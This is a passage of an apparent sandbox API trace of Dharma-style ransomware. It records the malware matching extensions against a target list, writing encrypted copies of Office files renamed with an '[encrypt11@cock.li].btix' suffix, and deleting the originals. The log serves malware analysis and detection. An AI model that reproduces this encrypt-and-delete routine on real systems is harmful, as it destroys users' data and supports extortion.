Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.466] lstrlenW (lpString=".doc") returned 4 [0137.466] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.466] lstrlenW (lpString=".docx") returned 5 [0137.466] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.466] lstrlenW (lpString=".pdf") returned 4 [0137.466] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.466] lstrlenW (lpString=".xls") returned 4 [0137.466] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.466] lstrlenW (lpString=".xlsx") returned 5 [0137.466] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.466] lstrlenW (lpString=".ppt") returned 4 [0137.466] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.466] lstrlenW (lpString=".zip") returned 4 [0137.466] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.466] lstrlenW (lpString=".rar") returned 4 [0137.466] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.466] lstrlenW (lpString=".bz2") returned 4 [0137.466] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString=".7z") returned 3 [0137.467] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".dbf") returned 4 [0137.467] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".1cd") returned 4 [0137.467] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".jpg") returned 4 [0137.467] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".doc") returned 4 [0137.467] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString=".docx") returned 5 [0137.467] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.467] lstrlenW (lpString=".pdf") returned 4 [0137.467] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.467] lstrlenW (lpString=".xls") returned 4 [0137.467] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.467] lstrlenW (lpString=".xlsx") returned 5 [0137.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.467] lstrlenW (lpString=".ppt") returned 4 [0137.467] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".zip") returned 4 [0137.467] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.467] lstrlenW (lpString=".rar") returned 4 [0137.467] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.467] lstrlenW (lpString=".bz2") returned 4 [0137.467] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.467] lstrlenW (lpString=".7z") returned 3 [0137.467] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.467] lstrlenW (lpString=".dbf") returned 4 [0137.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.468] lstrlenW (lpString=".1cd") returned 4 [0137.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.468] lstrlenW (lpString=".jpg") returned 4 [0137.468] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.468] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.468] lstrlenW (lpString="WNTER_01.MID") returned 12 [0137.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.470] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6915) returned 1 [0137.470] CloseHandle (hObject=0x4dc) returned 1 [0137.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0137.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.470] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.470] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.471] GetLastError () returned 0x0 [0137.471] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1b03, lpOverlapped=0x0) returned 1 [0137.485] WriteFile (in: hFile=0x4c4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1b10, lpOverlapped=0x0) returned 1 [0137.486] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.486] WriteFile (in: hFile=0x4c4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.486] SetEndOfFile (hFile=0x4c4) returned 1 [0137.486] CloseHandle (hObject=0x4c4) returned 1 [0137.487] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.487] SetEndOfFile (hFile=0x4dc) returned 1 [0137.488] CloseHandle (hObject=0x4dc) returned 1 [0137.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0137.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.489] lstrlenW (lpString=".doc") returned 4 [0137.489] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.489] lstrlenW (lpString=".docx") returned 5 [0137.489] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.490] lstrlenW (lpString=".pdf") returned 4 [0137.490] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString=".xls") returned 4 [0137.490] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString=".xlsx") returned 5 [0137.490] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.490] lstrlenW (lpString=".ppt") returned 4 [0137.490] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString=".zip") returned 4 [0137.490] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString=".rar") returned 4 [0137.490] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString=".bz2") returned 4 [0137.490] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.490] lstrlenW (lpString=".7z") returned 3 [0137.490] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString=".dbf") returned 4 [0137.490] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString=".1cd") returned 4 [0137.490] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString=".jpg") returned 4 [0137.490] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.490] lstrlenW (lpString=".doc") returned 4 [0137.490] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.490] lstrlenW (lpString=".docx") returned 5 [0137.490] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.490] lstrlenW (lpString=".pdf") returned 4 [0137.490] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.490] lstrlenW (lpString=".xls") returned 4 [0137.490] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.491] lstrlenW (lpString=".xlsx") returned 5 [0137.491] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.491] lstrlenW (lpString=".ppt") returned 4 [0137.491] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.491] lstrlenW (lpString=".zip") returned 4 [0137.491] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.491] lstrlenW (lpString=".rar") returned 4 [0137.491] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.491] lstrlenW (lpString=".bz2") returned 4 [0137.491] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.491] lstrlenW (lpString=".7z") returned 3 [0137.491] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.491] lstrlenW (lpString=".dbf") returned 4 [0137.491] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.491] lstrlenW (lpString=".1cd") returned 4 [0137.491] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0137.491] lstrlenW (lpString=".jpg") returned 4 [0137.491] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.491] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0137.491] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0137.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.586] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=47851) returned 1 [0137.586] CloseHandle (hObject=0x380) returned 1 [0137.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0137.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.587] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.587] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.680] GetLastError () returned 0x0 [0137.680] ReadFile (in: hFile=0x380, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0137.772] WriteFile (in: hFile=0x3b0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0137.774] ReadFile (in: hFile=0x380, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.774] WriteFile (in: hFile=0x3b0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0137.774] SetEndOfFile (hFile=0x3b0) returned 1 [0137.774] CloseHandle (hObject=0x3b0) returned 1 [0137.774] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.774] SetEndOfFile (hFile=0x380) returned 1 [0137.874] CloseHandle (hObject=0x380) returned 1 [0137.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0138.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.945] lstrlenW (lpString=".doc") returned 4 [0138.945] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0138.945] lstrlenW (lpString=".docx") returned 5 [0138.945] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0138.945] lstrlenW (lpString=".pdf") returned 4 [0138.945] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0138.945] lstrlenW (lpString=".xls") returned 4 [0138.945] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0138.945] lstrlenW (lpString=".xlsx") returned 5 [0138.945] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0138.945] lstrlenW (lpString=".ppt") returned 4 [0138.945] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0138.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.945] lstrlenW (lpString=".zip") returned 4 [0138.946] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".rar") returned 4 [0138.946] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".bz2") returned 4 [0138.946] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".7z") returned 3 [0138.946] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString=".dbf") returned 4 [0138.946] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString=".1cd") returned 4 [0138.946] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString=".jpg") returned 4 [0138.946] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString=".doc") returned 4 [0138.946] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".docx") returned 5 [0138.946] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0138.946] lstrlenW (lpString=".pdf") returned 4 [0138.946] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".xls") returned 4 [0138.946] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".xlsx") returned 5 [0138.946] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0138.946] lstrlenW (lpString=".ppt") returned 4 [0138.946] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.946] lstrlenW (lpString=".zip") returned 4 [0138.946] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0138.946] lstrlenW (lpString=".rar") returned 4 [0138.947] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0138.947] lstrlenW (lpString=".bz2") returned 4 [0138.947] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0138.947] lstrlenW (lpString=".7z") returned 3 [0138.947] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0138.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.947] lstrlenW (lpString=".dbf") returned 4 [0138.947] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0138.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.947] lstrlenW (lpString=".1cd") returned 4 [0138.947] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0138.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0138.947] lstrlenW (lpString=".jpg") returned 4 [0138.947] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0138.947] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0138.947] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0138.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.349] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=352776) returned 1 [0139.349] CloseHandle (hObject=0x540) returned 1 [0139.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0139.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0139.831] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0139.831] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0139.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0139.853] GetLastError () returned 0x0 [0139.853] ReadFile (in: hFile=0x534, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x56208, lpOverlapped=0x0) returned 1 [0139.878] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x56210, lpOverlapped=0x0) returned 1 [0139.884] ReadFile (in: hFile=0x534, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0139.884] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfa, lpOverlapped=0x0) returned 1 [0139.884] SetEndOfFile (hFile=0x54c) returned 1 [0139.905] CloseHandle (hObject=0x54c) returned 1 [0139.905] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0139.905] SetEndOfFile (hFile=0x534) returned 1 [0139.936] CloseHandle (hObject=0x534) returned 1 [0139.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0139.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.938] lstrlenW (lpString=".doc") returned 4 [0139.938] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".docx") returned 5 [0139.938] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.938] lstrlenW (lpString=".pdf") returned 4 [0139.938] lstrcmpiW 